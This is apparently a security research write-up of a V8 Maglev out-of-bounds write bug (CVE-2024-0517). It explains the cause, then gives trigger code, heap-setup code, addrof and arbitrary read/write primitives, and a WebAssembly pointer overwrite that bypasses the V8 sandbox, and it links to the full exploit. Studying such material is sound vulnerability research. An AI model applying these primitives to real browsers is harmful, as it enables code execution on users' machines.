Overview
The vulnerability stems from how V8’s Maglev compiler handles the compilation of a class with a parent class. Specifically, the vulnerability arises during the lookup of parent classes and their constructors, leading to an out-of-bounds write. We'll analyze the vulnerability using V8’s developer shell, d8
.
Preliminaries
V8 JavaScript Engine
The V8 engine consists of several components in its compilation pipeline:
- Ignition: The interpreter that generates bytecode from JavaScript code.
- Sparkplug: The baseline compiler.
- Maglev: The mid-tier optimizing compiler.
- TurboFan: The main optimizing compiler.
Maglev performs fast optimizations based on feedback from the interpreter, creating a Control Flow Graph (CFG) populated by nodes.
Maglev Compilation Example
Consider the following JavaScript snippet:
function add(a, b) {
return a + b;
}
%PrepareFunctionForOptimization(add);
add(2, 4);
%OptimizeMaglevOnNextCall(add);
add(2, 4);
Running this with d8 --allow-natives-syntax --print-maglev-graph maglev-add-test.js
yields the interpreter’s bytecode and Maglev IR graph.
Ubercage
Ubercage (V8 Sandbox) restricts memory accesses within the V8 heap, preventing arbitrary code execution even after a successful exploit. It relocates the V8 heap to a pre-reserved virtual address space and implements Code Pointer Sandboxing to mitigate potential attacks.
Vulnerability
The vulnerability lies in the VisitFindNonDefaultConstructorOrConstructMaglev
function. This function attempts to optimize class creation when a class has a parent class and a new.target
reference. This optimization introduces an out-of-bounds write.
Triggering the Vulnerability
The following code triggers the vulnerability:
function main() {
class ClassParent {}
class ClassBug extends ClassParent {
constructor() {
const v24 = new new.target();
super();
let a = [9.9, 9.9, 9.9, 1.1, 1.1, 1.1, 1.1, 1.1];
}
[1000] = 8;
}
for (let i = 0; i < 300; i++) {
Reflect.construct(ClassBug, [], ClassParent);
}
}
%NeverOptimizeFunction(main);
main();
When this code is executed, it crashes due to an out-of-bounds write caused by the faulty optimization in Maglev.
Code Analysis
Allocation Folding
Maglev optimizes memory allocations by merging multiple allocations into a single large allocation. This optimization, known as Allocation Folding, can lead to issues if a garbage collection (GC) occurs between the folded allocations.
ValueNode* MaglevGraphBuilder::ExtendOrReallocateCurrentRawAllocation(int size, AllocationType allocation_type) {
if (!current_raw_allocation_ || current_raw_allocation_->allocation_type() != allocation_type || !v8_flags.inline_new) {
current_raw_allocation_ = AddNewNode<AllocateRaw>({}, allocation_type, size);
return current_raw_allocation_;
}
int current_size = current_raw_allocation_->size();
if (current_size + size > kMaxRegularHeapObjectSize) {
return current_raw_allocation_ = AddNewNode<AllocateRaw>({}, allocation_type, size);
}
current_raw_allocation_->extend(size);
return AddNewNode<FoldedAllocation>({current_raw_allocation_}, current_size);
}
The ExtendOrReallocateCurrentRawAllocation
function is responsible for managing memory allocations in Maglev.
VisitFindNonDefaultConstructorOrConstruct
The VisitFindNonDefaultConstructorOrConstruct
function attempts to optimize class instance creation. If certain conditions are met, it calls BuildAllocateFastObject
, which allocates memory for the class instance without clearing the current allocation. This can lead to an out-of-bounds write if a GC occurs between allocations.
void MaglevGraphBuilder::VisitFindNonDefaultConstructorOrConstruct() {
ValueNode* this_function = LoadRegisterTagged(0);
ValueNode* new_target = LoadRegisterTagged(1);
auto register_pair = iterator_.GetRegisterPairOperand(2);
if (TryBuildFindNonDefaultConstructorOrConstruct(this_function, new_target, register_pair)) {
return;
}
CallBuiltin* result = BuildCallBuiltin({this_function, new_target});
StoreRegisterPair(register_pair, result);
}
Exploitation
Exploiting this vulnerability involves:
- Triggering the vulnerability to create an out-of-bounds write.
- Setting up the V8 heap to ensure predictable memory layout.
- Creating primitives for arbitrary read and write operations.
- Achieving code execution by bypassing Ubercage and utilizing WebAssembly.
Triggering the Vulnerability
We extend the previous example to gain more control over the exploit:
let empty_object = {};
let corrupted_instance = null;
class ClassParent {}
class ClassBug extends ClassParent {
constructor(a20, a21, a22) {
const v24 = new new.target();
let x = [empty_object, empty_object, empty_object, empty_object, empty_object, empty_object, empty_object, empty_object];
super();
let a = [1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1];
this.x = x;
this.a = a;
JSON.stringify(empty_array);
}
[1] = dogc();
}
for (let i = 0; i < 200; i++) {
dogc_flag = false;
if (i % 2 == 0) dogc_flag = true;
dogc();
}
for (let i = 0; i < 650; i++) {
dogc_flag = false;
if (i == 644 || i == 645 || i == 646 || i == 640) {
dogc_flag = true;
dogc();
dogc_flag = false;
}
if (i == 646) dogc_flag = true;
let x = Reflect.construct(ClassBug, empty_array, ClassParent);
if (i == 646) corrupted_instance = x;
}
This code sets up the heap and triggers the vulnerability under controlled conditions.
Exploit Primitives
Addrof Primitive:
function addrof_tmp(obj) {
corrupted_instance.x[0] = obj;
f64[0] = corrupted_instance.a[8];
return u32[0];
}
Write Primitive:
corrupted_instance.x[5] = 0x10000;
if (corrupted_instance.a.length != 0x10000) {
log(ERROR, "Initial Corruption Failed!");
return false;
}
Arbitrary Write:
function v8h_write64(where, what) {
b64[0] = zero;
f64[0] = corrupted_instance.a[marker42_idx];
if (u32[0] == 0x6) {
f64[0] = corrupted_instance.a[marker42_idx - 1];
u32[1] = where - 8;
corrupted_instance.a[marker42_idx - 1] = f64[0];
} else if (u32[1] == 0x6) {
u32[0] = where - 8;
corrupted_instance.a[marker42_idx] = f64[0];
}
rwarr[0] = what;
}
Read Primitive:
function v8h_read64(addr) {
original_leaker_bytes = changer[0];
u32[0] = Number(addr) - 8;
u32[1] = 0xc;
changer[0] = f64[0];
let ret = leaker[0];
changer[0] = original_leaker_bytes;
return f2i(ret);
}
Bypassing Ubercage on x86-64
WebAssembly code provides a means to bypass Ubercage. By overwriting a pointer in a WebAssembly instance, we can redirect execution to controlled shellcode.
var wasmCode = new Uint8Array([...]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
let addr_wasminstance = addrof(wasmInstance);
let wasm_rwx = v8h_read64(addr_wasminstance + wasmoffset);
var f = wasmInstance.exports.main;
v8h_write64(addr_wasminstance + wasmoffset, 0x41414141n);
f();
Full Exploit Code:
https://github.com/openexploitresearch/exploits/blob/main/chrome/CVE-2024-0517_exploit.js